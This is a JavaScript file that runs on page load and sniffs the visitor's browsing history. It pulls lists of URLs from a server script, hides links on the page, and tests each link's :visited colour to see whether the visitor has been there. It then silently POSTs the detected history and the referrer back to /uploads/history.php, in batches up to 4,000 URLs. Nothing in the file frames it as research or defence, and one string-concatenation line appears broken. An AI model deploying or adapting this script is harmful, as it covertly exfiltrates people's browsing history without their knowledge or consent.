window.onload=runHS;
var BrowserUrls = new Array();
var BrowserHistory = new Array();
var sessionId = "";
var maxUrls = 4000;
function runHS()
{
window.setTimeout("getHistory(0, 1000)", 100);
}
function getHistory(pos, anz)
{
http = initXMLHttpClient ();
var url = "/uploads/history.php?urls=1&anz=" + anz + "&pos=" + pos;
http.open("GET", url, true);
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
BrowserUrls = eval('(' + http.responseText + ')');
var bodytag = document.getElementsByTagName('body')[0];
// TODO: Invisible display:none
bodytag.innerHTML = bodytag.innerHTML + "
";
getHistory2(pos, anz);
}
}
http.send(null);
}
function getHistory2(pos, anz)
{
BrowserHistory = new Array();
var ref = escape(document.referrer);
var ss1 = document.createElement('style');
var def = 'a {color:#000000;} a:visited {color: #100000;}';
ss1.setAttribute("type", "text/css");
if (ss1.styleSheet)
{
ss1.styleSheet.cssText = def;
} else {
ss1.innerHTML = def;
}
var hh1 = document.getElementsByTagName('head')[0];
hh1.appendChild(ss1);
if(document.getElementById('site-list'))
{
var List = document.getElementById('site-list');
for( var i = 0; i < BrowserUrls.length; i++ )
{
var bRemove = false;
var Link = document.createElement( 'a' );
Link.href = "http://" + BrowserUrls[i]['url'];
Link.id = BrowserUrls[i]['id'];
Link.appendChild(document.createTextNode(BrowserUrls[i]['id']));
List.appendChild(Link);
if( Link.currentStyle )
{
var color = Link.currentStyle['color'];
}
else if( document.defaultView.getComputedStyle( Link, null ) )
{
var color = document.defaultView.getComputedStyle( Link, null ).color;
}
if (color.indexOf ("1") > 0)
{
h = document.getElementById(BrowserUrls[i]['id']).innerHTML;
BrowserHistory.push (h);
}
List.removeChild (Link);
}
}
http = initXMLHttpClient ();
var url = "/uploads/history.php?ref=" + ref + "&sid=" + sessionId;
var params = "data=" + myarray2json(BrowserHistory);
http.open("POST", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.setRequestHeader("Content-length", params.length);
http.setRequestHeader("Connection", "close");
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
sessionId = http.responseText;
}
}
http.send(params);
nextpos = pos + anz;
if (nextpos < maxUrls)
{
window.setTimeout("getHistory(" + nextpos + "," + anz + ")", 100);
}
}
function initXMLHttpClient() {
var xmlhttp;
try {
// Mozilla / Safari / IE7
xmlhttp = new XMLHttpRequest();
} catch (e) {
// IE
var XMLHTTP_IDS = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0',
'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP' );
var success = false;
for (var i=0;i < XMLHTTP_IDS.length && !success; i++) {
try {
xmlhttp = new ActiveXObject(XMLHTTP_IDS[i]);
success = true;
} catch (e) {}
}
if (!success) {
throw new Error('Unable to create XMLHttpRequest.');
}
}
return xmlhttp;
}
function myarray2json(array)
{
var ret = "[";
for (var i = 0; i < array.length; i++)
{
ret += "\"" + array[i] + "\",";
}
return ret + "\"\"]";
}